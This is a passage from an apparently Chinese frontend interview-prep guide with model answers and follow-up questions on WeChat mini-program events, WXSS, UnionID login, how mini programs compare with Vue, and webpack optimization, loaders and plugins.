    console.log(elementId); // 输出:my-element
  }
})
  1. 使用 event.detail:对于一些特定的事件,例如表单的提交事件 bindsubmit,可以通过 event.detail 来获取额外的参数值。
<form bindsubmit="handleSubmit">
  <input name="username" placeholder="请输入用户名" />
  <input name="password" type="password" placeholder="请输入密码" />
  <button type="submit">提交</button>
</form>
Page({
  handleSubmit(event) {
    const { username, password } = event.detail.value;
    console.log(username, password); // 输出:输入的用户名和密码
  }
})

通过以上方法,可以在微信小程序中实现事件传值,并在事件处理函数中获取传递的值,以实现更灵活的交互和数据处理。

💬 面试官追问

  • 写了 data-userId="{<span class="vp-brace-split" aria-hidden="true"></span>{id}<span class="vp-brace-split" aria-hidden="true"></span>}",回调里 dataset.userId 是 undefined,为什么?

    dataset 的键名会被转成小写,data-userId 变成了 userid。要拿 userId 就写成 data-user-id,连字符会转成小驼峰。

  • 能不能像 Vue 一样写 bindtap="onTap(item)"?

    不能,bindtap 后面只能是方法名字符串,带括号会被当成名字找不到。参数只能走 data-*,或者把这一项抽成自定义组件,在组件内部直接拿 item。

  • 列表项里有个删除按钮,点删除时外层的跳详情也触发了,怎么办?

    删除按钮把 bindtap 改成 catchtap,阻止冒泡到外层。bind 冒泡,catch 不冒泡,这是小程序里阻止冒泡的唯一写法,没有 e.stopPropagation()。

  • 子组件里点了按钮,要把选中的值传给父页面,怎么写?

    子组件里 this.triggerEvent('select', { id }),父页面写 <my-comp bind:select="onSelect" />,在 onSelect(e) 里用 e.detail.id 拿。

  • 跳到详情页要带一个复杂对象,url 拼参数太长了,怎么传?

    用 wx.navigateTo 的 events 加 success 里的 res.eventChannel.emit 传,详情页用 this.getOpenerEventChannel() 接。只传个 id 的话还是拼 url 最简单,详情页自己再拉接口。

# 3 小程序的 wxss 和 css 有哪些不一样的地方?

⚡ 30 秒速记

  • 新单位 rpx:屏幕宽固定算 750rpx,iPhone 6 上 1rpx = 0.5px,按设计稿 750 宽直接抄数
  • @import "common.wxss"; 用相对路径导入,结尾分号必须写
  • 选择器:官方只保证 .class、#id、element、并集、后代、::before / ::after;其他能不能用看基础库,别依赖
  • 自定义组件的 wxss 只该用 class 选择器,id、属性、标签选择器不推荐;默认样式隔离,styleIsolation 可调
  • background-image 不能用本地图片路径,要用网络图或 base64;<image> 组件可以用本地图
  • float、position、flex 都能用,没有 body,页面根节点用 page 选择器

WXSS 基本就是 CSS,多了一个 rpx 单位,少了一部分选择器,再加上组件样式隔离和资源限制。 最实用的是 rpx:不管什么手机,屏幕宽度都按 750rpx 算,设计稿给 750 宽就直接照着写。导入用 @import,选择器只保证类、id、标签、后代和 ::before / ::after 这几种。坑比较多的是两点:background-image 写本地路径不生效,要换网络图或 base64;自定义组件默认隔离样式,页面里写的类管不到组件内部。网上常说的「WXSS 不支持 float、position」是错的,这些都能用。

小程序的 WXSS(WeiXin Style Sheets)和 CSS(Cascading Style Sheets)在语法和功能上有一些不同之处:

  1. 图片引入方式:WXSS 里的 background-image 不能使用本地图片路径,需要用网络地址或 base64;<image> 组件则可以直接使用本地图片。
/* WXSS */
.image {
  background-image: url("https://example.com/image.jpg");
}
  1. 缺少 body 元素:小程序中没有 body 元素,样式可以直接写在页面的组件选择器上。
<!-- WXML -->
<view class="container">
  <text class="text">Hello, Mini Program!</text>
</view>
/* WXSS */
.container {
  background-color: #f5f5f5;
}

.text {
  color: #333;
  font-size: 14px;
}
  1. 样式导入方式:小程序中的样式文件可以使用 @import 导入其他样式文件。
/* WXSS */
@import "common.wxss";

.container {
  /* styles */
}
  1. 选择器支持有限:官方只保证 .class、#id、element、并集、后代和 ::before / ::after 这几种选择器,其他选择器能否生效取决于基础库版本,不要依赖。float、position、flex 等布局属性都可以正常使用;:active 这类交互态更推荐用组件的 hover-class 属性实现。
/* WXSS 官方保证支持的选择器 */
.container {}
#header {}
view, text {}
.container text {}
.btn::after {}

需要注意的是,虽然 WXSS 和 CSS 在一些语法和功能上存在差异,但在基本的样式定义和样式属性上,它们仍然具有相似性,并可以使用类似的语法和规则进行样式的定义和控制。

rpx 的换算公式是:1rpx = 屏幕宽度px / 750。所以 iPhone 6(375px 宽)上 1rpx = 0.5px,iPhone 6 Plus(414px)上约 0.552px。

/* app.wxss */
page { --brand: #07c160; background: #f5f5f5; }

/* 组件里 */
.btn { width: 690rpx; height: 88rpx; color: var(--brand); }
.btn::after { border: none; } /* 去掉 button 默认边框,就是靠伪元素 */

自定义组件默认 styleIsolation: 'isolated',组件内外的类名样式互不影响;改成 apply-shared 是页面样式能影响组件,shared 是双向影响。组件 wxss 官方建议只用 class 选择器,id、属性、标签选择器在组件里不保证生效。

💬 面试官追问

  • 组件里的 background-image 写了 ./bg.png,开发者工具里有图,真机上没有,为什么?

    WXSS 里的本地图片路径不会被打包解析,开发者工具偶尔能显示是假象。换成 CDN 地址或 base64,或者改用 <image> 组件铺在底层。

  • 页面里写了 .title { color: red },自定义组件里的 .title 没变色,怎么回事?

    自定义组件默认 styleIsolation: isolated,页面样式进不去。要么在组件的 options 里改成 apply-shared,要么用 externalClasses 把类名从外面传进去。

  • 设计稿是 375 宽的,rpx 怎么换算?

    750rpx 永远等于屏幕宽,375 的稿子每个值乘以 2 就是 rpx。边框这种细线别用 rpx,1rpx 在小屏上可能被算成 0.5px 甚至看不见,直接写 1px。

  • 想给整个页面设背景色,写 body { } 没效果,该写什么?

    小程序没有 body,根节点是 page,写 page { background: #f5f5f5; }。

  • wxss 里能用 CSS 变量吗?

    能,--main-color 加 var() 在现在的基础库里都支持,做主题切换很方便。写在 page 上就是全局变量,组件里也能读到。

# 4 小程序关联微信公众号如何确定用户的唯一性

⚡ 30 秒速记

  • 认人用 UnionID:同一个开放平台账号下,同一用户在小程序、公众号、App 里 OpenID 各不相同,UnionID 只有一个
  • 前提:小程序和公众号都绑到同一个微信开放平台账号
  • 现在的拿法:wx.login 拿 code → 后端调 code2Session,已绑定开放平台就直接返回 unionid
  • wx.getUserInfo + encryptedData 解密那套是老流程,2021 年后 getUserInfo 已不返回真实信息,别再这么答
  • session_key 和 AppSecret 只能留在后端;账号表用 unionid 做主关联,各端 openid 单独存(发消息、支付要用)

小程序和公众号之间认同一个人,要用 UnionID,前提是两边绑到同一个微信开放平台账号。 OpenID 是「用户 + 某个应用」的组合,同一个人在小程序和公众号里的 OpenID 不一样,所以不能拿来关联。现在流程很简单:前端 wx.login 拿 code 给后端,后端调 code2Session,只要小程序绑了开放平台,返回里就带 unionid。早年要靠 getUserInfo 拿 encryptedData 再用 session_key 解密,这个接口现在已经拿不到真实数据了。落库时我会用 unionid 关联用户,openid 按应用分开存,因为公众号推消息和微信支付还是认 openid。

时序图 · 4 个参与者 / 9 步
alt 已绑开放平台,带 unionid没有 unionid小程序小程序自己的后端自己的后端微信接口微信接口用户库用户库调用 wx.login 拿到临时 code1把 code 发给后端2code2Session 带上 appid 和 secret3返回 openid、session_key、unionid4按 unionid 查用户,查不到就新建5返回同一个用户(公众号那边也是他)6先按 openid 建临时账号,后面再合并7session_key 留在服务端,签发自己的 token8只返回业务 token9

在小程序中,如果要确定用户的唯一性并与微信公众号关联,可以使用以下步骤:

  1. 在小程序中调用 wx.login 方法获取用户的临时登录凭证 code。
  2. 将获取到的 code 发送到后端服务器。
  3. 后端服务器通过 code 调用微信开放平台的接口,如 https://api.weixin.qq.com/sns/jscode2session,获取用户的 openid 和 session_key。
  4. 后端服务器将 openid 返回给小程序前端,并存储在客户端。
  5. 在小程序中调用 wx.getUserInfo 方法获取用户信息,包括 encryptedData 和 iv。
  6. 将获取到的 encryptedData 和 iv 发送到后端服务器。
  7. 后端服务器使用用户的 session_key 对 encryptedData 进行解密,获取用户的 unionId。
  8. 将用户的 unionId 与用户的其他信息一起存储在后端服务器,用于唯一标识用户并与微信公众号关联。

需要注意的是,获取用户的 unionId 需要满足以下条件:

  • 小程序需要通过微信开放平台的方式进行接入,而不是独立的小程序账号。
  • 小程序和微信公众号需要在同一个微信开放平台账号下,且已经完成了关联。
  • 用户在小程序和微信公众号之间需要存在关联关系,例如用户曾经在微信公众号中授权过。

通过以上步骤,可以确定用户的唯一性并与微信公众号进行关联。后续的操作中,可以根据用户的 unionId 进行个性化的业务逻辑处理。

这题网上流传的答案大多停在 2018 年前后的流程,有两点要更新:

  1. wx.getUserInfo 解密 unionId 已经过时。 2021 年 4 月起,getUserInfo 只返回匿名的头像昵称,拿不到真实数据;后来新增的 getUserProfile 在 2022 年也被收回。现在获取 UnionID 的正规途径是 code2Session:只要小程序绑定了微信开放平台账号,返回结果里就有 unionid。
  2. session_key 不能下发给前端。 它是解密用户敏感数据(比如手机号)的密钥,只能存在服务端。
// 后端(Node 示例)
const r = await fetch(
  'https://api.weixin.qq.com/sns/jscode2session?' +
    new URLSearchParams({ appid: APPID, secret: SECRET, js_code: code, grant_type: 'authorization_code' })
).then(res => res.json())
// r = { openid, session_key, unionid? },unionid 只在绑定开放平台后出现
const user = r.unionid
  ? await db.user.upsertByUnionId(r.unionid, { mpOpenid: r.openid })
  : await db.user.createTemp({ mpOpenid: r.openid })
return signToken(user.id) // 前端只拿到自己的 token

账号设计上,unionid 用来跨应用认同一个人,openid 要按应用分开存(小程序一份、公众号一份),因为公众号模板消息、微信支付这些接口认的是对应应用的 openid。

💬 面试官追问

  • 线上部分用户 code2Session 返回里没有 unionid,为什么?

    先查这个小程序到底有没有绑到开放平台,绑的是不是和公众号同一个账号;测试号、未认证的号也可能拿不到。绑定之后返回就会带上,后端对缺 unionid 的情况要有兜底,先用 openid 建临时账号。

  • 后端拿到 openid 之后,能直接把它当登录 token 返回给前端吗?

    不行,openid 不是秘密,泄露了谁都能冒充。后端自己签一个有过期时间的 token 或 session,openid 和 session_key 都留在服务端。

  • 公众号老用户已经有账号了,后来才上的小程序,怎么把两边账号合起来?

    按 unionid 合并:小程序登录时查有没有同 unionid 的记录,有就挂到同一个用户下。老公众号用户如果当初只存了 openid,要先用公众号接口把 unionid 批量补回来。

  • 开发者能不能自己调 jscode2session,把 AppSecret 写在小程序里省个后端?

    绝对不行,小程序包能被解出来,AppSecret 一泄露整个号就被别人控制了。这一步必须走自己的服务端,或者用云开发的 cloud.getWXContext() 直接拿 OPENID / UNIONID。

# 5 微信小程序与vue区别

⚡ 30 秒速记

  • 共同点:数据驱动、组件化、模板语法很像(wx:for ≈ v-for、wx:if ≈ v-if、hidden ≈ v-show)
  • 改数据:Vue 直接 this.count++;小程序必须 this.setData({ count }),直接改 this.data 页面不会变
  • 双向绑定:Vue 有 v-model;小程序要 bindinput 手动回写,基础库 2.9.3+ 有简易的 model:value
  • 架构:小程序是双线程,逻辑层跑在 JSCore,渲染层是 WebView,没有 DOM / BOM,setData 要跨线程传数据
  • 事件:bindtap 冒泡、catchtap 阻止冒泡,传参只能走 data-*;Vue 用 @click="fn(item)"
  • 生命周期:小程序 onLoad / onShow / onReady / onHide / onUnload;Vue 是 created / mounted / unmounted 那一套

两者写起来很像,都是数据驱动加组件化,最大的区别在更新数据的方式和底层架构。 Vue 是响应式的,直接改 this.xxx 视图就更新;小程序要调 setData,而且它的逻辑层和渲染层跑在两个线程里,每次 setData 都要把数据序列化后跨线程传过去,传多了就卡。所以小程序里拿不到 DOM,也没有 window、document。语法上 wx:if 对 v-if、bindtap 对 @click,事件传参只能用 data-*,双向绑定也弱很多。从 Vue 转过来,最容易犯的错是把整个大列表一次塞进 setData。

微信小程序和Vue在一些方面确实存在一些差异,以下是它们之间的一些区别:

  1. 生命周期:微信小程序的生命周期相对简单,包括onLoad、onShow、onReady、onHide、onUnload等几个基本生命周期函数。而Vue拥有更为丰富的生命周期钩子函数,例如created、mounted、updated、destroyed等。
  2. 数据绑定语法:微信小程序使用{<span class="vp-brace-split" aria-hidden="true"></span>{}<span class="vp-brace-split" aria-hidden="true"></span>}来进行数据绑定,而Vue使用简洁的v-bind和v-model指令来实现数据绑定。
  3. 元素显示和隐藏:在微信小程序中,可以使用wx-if和hidden来控制元素的显示和隐藏;而在Vue中,可以使用v-if和v-show来实现相同的功能。
  4. 事件处理:微信小程序中使用bindtap或catchtap来绑定事件处理函数,而Vue使用v-on或@来绑定事件处理函数。
  5. 数据双向绑定:在Vue中,可以通过使用v-model指令实现表单元素与数据的双向绑定,而微信小程序需要手动获取表单元素的值并将其赋给对应的数据变量。

除了上述的区别之外,微信小程序和Vue在一些基本概念和思想上也存在差异,例如组件化开发的方式、数据状态管理的实现方式等。然而,它们都可以用于构建具有交互性和可复用性的前端应用程序,并且都有着广泛的应用和社区支持。

# 七、webpack相关

💬 面试官追问

  • 在小程序里写 this.data.count = 5,页面不更新,为什么?

    小程序没有响应式劫持,this.data 只是一个普通对象,改了逻辑层的值,渲染层不知道。必须 this.setData({ count: 5 }),它负责把数据传给渲染层。

  • 长列表下拉加载,每次都 setData({ list: 全量数组 }),越往后越卡,怎么改?

    只传增量,用路径写法 this.setData({ ['list[' + i + ']']: item }),或者按页存成二维数组只设新的一页。单次 setData 数据有 1MB 上限,传得越多跨线程序列化越慢。

  • 为什么小程序要搞成双线程,不像 Vue 一样直接操作 DOM?

    主要是管控和安全:逻辑层拿不到 DOM,开发者没法随意跳转外链、改页面内容,微信也能审核。代价就是通信成本,所以 setData 频率和数据量是性能优化的核心。

  • 想用 Vue 语法写小程序,一般选什么方案?

    uni-app 或者 Taro(Taro 也支持 React)。它们把 Vue 模板编译成 wxml,响应式改动在运行时转成 setData。好处是一套代码多端,坑是平台特有能力还得写条件编译。

  • hidden 和 wx:if 怎么选?

    和 v-show 对 v-if 一个道理:频繁切换用 hidden,只是隐藏不销毁;很少显示的弹层用 wx:if,不渲染就不占节点。注意 hidden 对自定义组件不一定生效,要自己处理 display。

# 1 优化 webpack 打包体积的思路

⚡ 30 秒速记

  • 先量后改:webpack-bundle-analyzer 看清是谁大,别凭感觉
  • 拆:路由级动态 import() 懒加载,splitChunks 把 node_modules 单独成块,非首屏不进首包
  • 删:Tree Shaking(保持 ESM + sideEffects)、lodash-es 按需引、IgnorePlugin / ContextReplacementPlugin 去掉 moment 语言包
  • 压:生产模式默认 TerserPlugin,CSS 用 CssMinimizerPlugin,图片压成 WebP / AVIF
  • 外置:大依赖走 externals + CDN,但多一个域名就多一次连接,HTTP/2 下未必划算
  • gzip / brotli 只缩小传输体积,产物本身没变;webpack 4 起默认压缩器已经是 Terser,UglifyJsPlugin 是老黄历

优化体积我的顺序是:先用分析工具找出大头,再决定拆、删还是压。 大部分项目的问题都出在少数几个依赖上,比如 moment 带了全部语言包、lodash 整包引入、图表库被打进首页,用 webpack-bundle-analyzer 一看就知道。处理上,非首屏的路由用动态 import() 拆出去,没用到的代码靠 Tree Shaking 删,剩下的交给生产模式自带的 Terser 压缩。gzip 和 brotli 很有用,但那是传输层压缩,不改变打出来的文件大小,这两件事别混着说。

优化 webpack 打包体积的思路包括:

  1. 提取第三方库或通过引用外部文件的方式引入第三方库:将第三方库单独打包,并通过 CDN 引入,减少打包体积。
  2. 使用代码压缩插件:例如 UglifyJsPlugin,可以压缩 JavaScript 代码,减小文件体积。
  3. 启用服务器端的 Gzip 压缩:通过服务器端配置 Gzip 压缩,减少传输体积。
  4. 按需加载资源文件:使用 require.ensure 或动态导入(import())的方式按需加载资源文件,避免一次性加载所有资源,优化加载速度和体积。
  5. 优化 devtool 中的 source-map:选择合适的 devtool 配置,确保在开发阶段能够提供足够的错误追踪信息,但不会增加过多的打包体积。
  6. 剥离 CSS 文件:将 CSS 文件单独打包,通过 <link> 标签引入,利用浏览器的并行加载能力。
  7. 去除不必要的插件:检查 webpack 配置中的插件,移除不必要的插件或根据环境区分开发环境和生产环境的配置,避免将开发环境的调试工具打包到生产环境中。

除了上述优化思路,还可以考虑以下几点:

  • 使用 Tree Shaking:通过配置 webpack,将未使用的代码在打包过程中消除,减少打包体积。
  • 使用模块化引入:合理使用 ES6 模块化语法或其他模块化方案,按需引入模块,避免不必要的全局引入。
  • 按需加载第三方库:对于较大的第三方库,可以考虑按需加载,而不是一次性全部引入。
  • 优化图片资源:压缩图片,使用适当的图片格式,尽量减小图片体积。
  • 优化字体文件:如果使用了大量的字体文件,可以考虑只引入需要的字体文件,避免全部引入。
  • 使用缓存:通过配置合适的缓存策略,利用浏览器缓存机制,减少重复加载资源。

综合以上优化思路,可以有效减小 webpack 打包生成的文件体积,提升应用性能和加载速度。需要根据具体项目情况和需求,选择合适的优化策略和配置。

💬 面试官追问

  • 首页包 2MB,分析图里 echarts 占了一半,怎么处理?

    首页没用到图表就整个动态 import(),进到报表页再加载;用到了就按需引,import * as echarts from 'echarts/core' 再注册用到的图表和组件,体积能砍掉一大半。

  • import { debounce } from 'lodash' 为什么 Tree Shaking 不掉其他函数?

    lodash 发的是 CommonJS 包,打包器分析不了它的静态导出。换成 lodash-es,或者写 import debounce from 'lodash/debounce' 只引一个文件。

  • 把 react、react-dom 都放 CDN 配 externals,一定更快吗?

    不一定。公共 CDN 已经享受不到跨站缓存了,浏览器按站点分区缓存;多一个域名还要多建一次连接,而且 CDN 挂了页面就白屏。打进自己的 vendor 块配长缓存,很多时候更稳。

  • splitChunks 拆出来几十个小文件,首屏反而变慢了,为什么?

    拆得太碎,请求数和每个请求的固定开销上来了,首屏又要等齐所有块。调大 minSize,vendor 按变更频率分两三组就够了,不是越碎越好。

  • 生产包里发现了 .map 文件和 console.log,怎么处理?

    生产 devtool 用 hidden-source-map 生成后上传到 Sentry 这类平台,不对外部署 .map。console 用 Terser 的 drop_console 去掉,或者只去掉 console.log 保留 error。

# 2 优化 webpack 打包效率的方法

⚡ 30 秒速记

  • 先测再调:speed-measure-webpack-plugin 或 --profile 找出最慢的 loader / 插件
  • 缓存最立竿见影:webpack 5 写 cache: { type: 'filesystem' },二次构建能快好几倍;webpack 4 时代靠 cache-loader / hard-source
  • 缩范围:babel-loader 配 include: src,resolve.extensions 少列几个,noParse 跳过不需要解析的大库
  • 换快工具:esbuild-loader / swc-loader 替代 babel-loader;thread-loader 只给真正慢的 loader 用
  • 开发环境:eval-cheap-module-source-map,不抽 CSS、不算 contenthash、不压缩
  • 老项目的 DllPlugin、HappyPack 在 webpack 5 里基本用不着了,新项目可以直接上 Rspack / Vite

提速的核心就两件事:同样的活别干两遍,不需要的活别干。 第一件靠缓存,webpack 5 的持久化缓存一开,第二次启动通常能快好几倍;第二件靠缩小范围,比如 babel-loader 只处理 src,node_modules 不进去。再往上就是换工具,babel 换成 swc 或 esbuild,转译速度差一个数量级。thread-loader 我会谨慎用,每个 worker 启动要几百毫秒,小项目加了反而更慢。改之前我一定先量,不然很容易优化了一个只占 5% 的环节。

  1. 使用增量构建和热更新:在开发环境下,使用增量构建和热更新功能,只重新构建修改过的模块,减少整体构建时间。
  2. 避免无意义的工作:在开发环境中,避免执行无意义的工作,如提取 CSS、计算文件 hash 等,以减少构建时间。
  3. 配置合适的 devtool:选择适当的 devtool 配置,提供足够的调试信息,但不会对构建性能产生太大影响。
  4. 选择合适的 loader:根据需要加载的资源类型选择高效的 loader,避免不必要的解析和处理过程。
  5. 启用 loader 缓存:对于耗时较长的 loader,如 babel-loader,可以启用缓存功能,避免重复处理同一文件。
  6. 采用引入方式引入第三方库:对于第三方库,可以通过直接引入的方式(如 CDN 引入)来减少打包时间。
  7. 提取公共代码:通过配置 webpack 的 SplitChunks 插件,提取公共代码,避免重复打包相同的代码,提高打包效率。
  8. 优化构建时的搜索路径:指定需要构建的目录和不需要构建的目录,减少搜索范围,加快构建速度。
  9. 模块化引入需要的部分:使用按需引入的方式,只引入需要的模块或组件,避免加载不必要的代码,提高构建效率。

通过以上优化措施,可以有效提升 webpack 的打包效率,减少开发和构建时间,提升开发效率和用户体验。根据具体项目需求和场景,选择适合的优化方法进行配置和调整。

💬 面试官追问

  • 开了 cache: { type: 'filesystem' },改了 .env 里的变量,构建结果还是旧的,为什么?

    持久化缓存不知道你依赖了这个文件。要在 cache.buildDependencies 里把配置文件加进去,或者用 cache.version 带上环境变量的值,让它变了就失效。

  • 给所有 loader 都加了 thread-loader,构建反而慢了,为什么?

    每个 worker 启动和进程间传数据都有成本,文件少或者 loader 本身很快时,开销比省下的还多。只给 babel-loader、ts-loader 这种重的加,或者直接换 swc-loader。

  • 用 ts-loader 构建很慢,类型检查能挪走吗?

    能。ts-loader 开 transpileOnly: true 只转译不检查,类型检查交给 fork-ts-checker-webpack-plugin 在另一个进程跑,CI 里再单独跑一次 tsc --noEmit。

  • 老项目里还有 DllPlugin,升到 webpack 5 要不要保留?

    一般去掉。Dll 是为了缓存第三方库的编译结果,webpack 5 的持久化缓存已经做到了,还不用维护一份单独的 manifest,Vue CLI 和 CRA 后来也都去掉了它。

  • 项目已经很大,冷启动要两分钟,还值得在 webpack 上抠吗?

    先把缓存和 swc 上了,通常能降一大截;还不够就评估迁 Rspack,它兼容大部分 webpack 配置和插件,迁移成本比换 Vite 低。

# 3 编写Loader

⚡ 30 秒速记

  • loader 就是一个函数:输入文件内容(字符串或 Buffer),返回 JS 代码字符串
  • 同步直接 return;要多返回 sourceMap 用 this.callback(err, code, map);异步先 const cb = this.async()
  • 拿配置用 this.getOptions()(webpack 5),以前要靠 loader-utils
  • 执行顺序:use 数组从右往左、从下往上;处理图片字体这种二进制要导出 module.exports.raw = true
  • 拼代码别手写引号,用 JSON.stringify(result),否则内容带引号、换行就生成非法 JS
  • 一个 loader 只做一件事,保持无状态,webpack 才能缓存和并行

写 loader 本质就是导出一个函数,拿到文件内容,返回一段 JS 模块代码。 比如做一个把 .txt 内容反转的 loader,函数里把 source 反转,再返回 export default ... 这样的字符串,然后在 module.rules 里用 test: /\.txt$/ 配上它。网上很多示例用单引号直接拼字符串,文本里一有引号或换行就报语法错误,正确做法是 JSON.stringify 一下。另外要知道 this.async() 处理异步、this.getOptions() 拿参数,use 数组是从右往左执行。

编写一个名为 reverse-txt-loader 的 Loader,实现对文本内容进行反转处理的功能。

// reverse-txt-loader.js

module.exports = function (source) {
  // 对源代码进行处理,这里是将字符串反转
  const reversedSource = source.split('').reverse().join('');

  // 返回处理后的 JavaScript 代码作为模块输出
  return `module.exports = '${reversedSource}';`;
};

上述代码定义了一个函数,该函数接收一个参数 source,即原始的文本内容。在函数内部,我们将源代码进行反转处理,并将处理后的结果拼接成一个字符串,再通过 module.exports 输出为一个 JavaScript 模块。

要使用这个 Loader,需要在 webpack 配置中指定该 Loader 的路径:

// webpack.config.js

module.exports = {
  // ...
  module: {
    rules: [
      {
        test: /\.txt$/,
        use: [
          {
            loader: './path/reverse-txt-loader'
          }
        ]
      }
    ]
  }
  // ...
};

上述配置将该 Loader 应用于所有以 .txt 结尾的文件。在构建过程中,当遇到需要加载的 .txt 文件时,会调用 reverse-txt-loader 对文件内容进行反转处理,并将处理后的结果作为模块的输出。

请注意,在实际使用中,需要根据实际路径修改 loader 配置的路径,并将该 Loader 安装在项目中。

💬 面试官追问

  • use: ['style-loader', 'css-loader', 'sass-loader'],谁先执行?

    sass-loader 先,然后 css-loader,最后 style-loader,从右往左。就像函数组合 style(css(sass(source))),最里面的先算。

  • loader 里要调一个异步接口,比如读远程配置,怎么写?

    const callback = this.async(),拿到结果后调 callback(null, code),出错调 callback(err)。直接 return 一个 Promise 在新版本里也能用,但 this.async() 是最通用的写法。

  • 写了个处理图片的 loader,拿到的内容是乱码,为什么?

    webpack 默认把内容按 UTF-8 转成字符串传进来,二进制就坏了。导出 module.exports.raw = true,拿到的就是 Buffer。

  • 改了 loader 依赖的一个配置文件,watch 模式不重新构建,怎么办?

    在 loader 里调 this.addDependency(filePath) 把那个文件登记成依赖,webpack 才知道它变了要重跑。

  • pitch 是干嘛的,什么时候用?

    loader 可以导出一个 pitch 方法,它在正常阶段之前、按从左往右的顺序执行,返回了值就跳过后面的 loader。style-loader 就是靠 pitch 拿到 css-loader 处理后的结果再注入页面。

# 4 编写plugin

⚡ 30 秒速记

  • 插件就是一个有 apply(compiler) 方法的类,webpack 启动时调用它,在里面往钩子上挂回调
  • compiler 管整个构建,只有一个;compilation 是某一次编译,watch 下每次重编都会新建一个
  • 钩子基于 Tapable:同步用 tap,异步用 tapAsync(记得调 callback)或 tapPromise
  • 改产物在 webpack 5 要用 compilation.hooks.processAssets,再 compilation.updateAsset;在 emit 里直接改 compilation.assets 已经不推荐
  • 常用钩子:compile、thisCompilation、emit、afterEmit、done(拿 stats 做构建通知)

写插件就是写一个带 apply(compiler) 的类,在 compiler 或 compilation 的生命周期钩子上挂自己的逻辑。 compiler 代表整个 webpack 进程,compilation 代表一次具体的编译,模块和产物都在它身上。比如要给每个 JS 文件头部加版权注释,网上老示例是在 emit 里直接改 compilation.assets,webpack 5 会给警告,现在应该在 thisCompilation 里挂 processAssets,选一个合适的 stage,用 updateAsset 改。异步钩子用 tapAsync 时一定要调 callback,不然构建会一直卡着。

时序图 · 4 个参与者 / 12 步
alt 构建成功构建失败webpack 启动webpack 启动自定义插件自定义插件compilercompilercompilationcompilation实例化插件并调用 apply(compiler)1在 thisCompilation、done 等钩子上 tap 回调2开始 run 或 watch3创建本次 compilation4触发 thisCompilation,传入 compilation5再挂 processAssets 钩子6构建模块、生成 chunk 和产物7触发 processAssets8updateAsset 改写产物内容9产物写入磁盘10触发 done,传入 stats11触发 failed,带上错误12

编写一个自定义的 Webpack 插件需要创建一个 JavaScript 类,并在类中实现指定的生命周期方法。下面是一个简单的示例,展示如何编写一个自定义的 Webpack 插件:

class MyPlugin {
  constructor(options) {
    // 在构造函数中可以接收插件的配置参数
    this.options = options;
  }

  // Webpack 在安装插件时会自动调用 apply 方法,并将 compiler 对象传递进来
  apply(compiler) {
    // 在适当的生命周期钩子中挂载插件的功能

    // 示例:在 emit 生命周期钩子中添加自定义的功能
    compiler.hooks.emit.tap('MyPlugin', (compilation) => {
      // compilation 对象包含了当前构建过程的各种信息
      // 可以在这里执行一些自定义的操作

      // 示例:向输出的文件中添加自定义的注释
      const comment = this.options.comment || 'Custom comment';
      for (const asset in compilation.assets) {
        if (compilation.assets.hasOwnProperty(asset)) {
          compilation.assets[asset].source = () => {
            return `/* ${comment} */\n` + compilation.assets[asset].source();
          };
        }
      }
    });
  }
}

以上是一个简单的插件示例,它在构建过程中的 emit 生命周期钩子中向输出的文件添加了自定义的注释。你可以根据实际需求在其他生命周期钩子中实现不同的功能。

要使用该插件,在 webpack 的配置文件中进行如下配置:

const MyPlugin = require('./path/to/MyPlugin');

module.exports = {
  // ...
  plugins: [
    new MyPlugin({
      comment: 'Custom comment',
    }),
  ],
};

这样,当你运行 webpack 构建时,该插件就会被应用,并执行指定的功能。

需要注意的是,Webpack 的插件机制非常灵活,可以根据实际需求编写各种各样的插件。插件可以监听多个生命周期钩子,并在每个生命周期钩子中实现自定义的功能。详细的插件开发文档可以参考 Webpack 官方文档。

网上常见的示例是在 emit 钩子里直接重写 compilation.assets[name].source,这在 webpack 4 能跑,webpack 5 会报废弃警告,而且容易和其他压缩、哈希插件打架。webpack 5 推荐的写法:

class BannerCommentPlugin {
  constructor(options = {}) {
    this.comment = options.comment || 'Custom comment'
  }
  apply(compiler) {
    const { Compilation, sources } = compiler.webpack
    compiler.hooks.thisCompilation.tap('BannerCommentPlugin', (compilation) => {
      compilation.hooks.processAssets.tap(
        { name: 'BannerCommentPlugin', stage: Compilation.PROCESS_ASSETS_STAGE_ADDITIONS },
        (assets) => {
          for (const name of Object.keys(assets)) {
            if (!name.endsWith('.js')) continue
            compilation.updateAsset(name, (old) =>
              new sources.ConcatSource(`/* ${this.comment} */\n`, old)
            )
          }
        }
      )
    })
  }
}
module.exports = BannerCommentPlugin

几个点:用 compiler.webpack 取 Compilation 和 sources,避免插件和项目装了两份 webpack;stage 决定插件在处理产物流水线里的位置,加注释放在 ADDITIONS 阶段,压缩插件在后面的 OPTIMIZE_SIZE 阶段,顺序就不会乱;只处理 .js,别把注释加进图片和 .map 里。

💬 面试官追问

  • 插件里用了 tapAsync,构建卡在 92% 不动了,大概率是什么问题?

    回调里有分支没调 callback(),webpack 一直在等。要么每条路径都确保调到,要么改用 tapPromise 返回 Promise,出错就 reject。

  • 想在构建结束后发一条飞书通知,挂哪个钩子?

    compiler.hooks.done,回调里拿到 stats,stats.hasErrors() 判断成功失败,stats.endTime - stats.startTime 就是耗时。失败的情况也可以单独挂 failed。

  • compiler 和 compilation 有什么区别?

    compiler 从启动到退出只有一个,存的是配置和全局钩子;compilation 是一次编译的上下文,watch 模式下文件一改就新建一个。改模块、改产物找 compilation,管整个流程找 compiler。

  • 在 emit 里改了 compilation.assets,webpack 5 报 deprecation 警告,怎么改?

    换到 compiler.hooks.thisCompilation 里挂 compilation.hooks.processAssets,stage 选 PROCESS_ASSETS_STAGE_ADDITIONS 之类,用 compilation.updateAsset(name, newSource) 改内容。Source 用 compiler.webpack.sources 里的类。

# 5 说一下webpack的一些plugin,怎么使用webpack对项目进行优化

⚡ 30 秒速记

  • 基础插件:HtmlWebpackPlugin 生成 HTML 注入资源、MiniCssExtractPlugin 抽 CSS、DefinePlugin 注入环境变量、CopyWebpackPlugin 拷静态文件
  • 分析和瘦身:webpack-bundle-analyzer、IgnorePlugin / ContextReplacementPlugin 去语言包、CompressionPlugin 预生成 gz / br
  • 压缩:TerserPlugin(JS)、CssMinimizerPlugin(CSS);webpack 5 的 output.clean: true 替代了 CleanWebpackPlugin
  • 优化思路两条线:体积(拆包、Tree Shaking、压缩)+ 速度(缓存、缩小范围、换 swc)
  • HappyPack、uglifyjs-webpack-plugin、hard-source、DllPlugin 都是 webpack 4 以前的方案,现在提要说明已过时

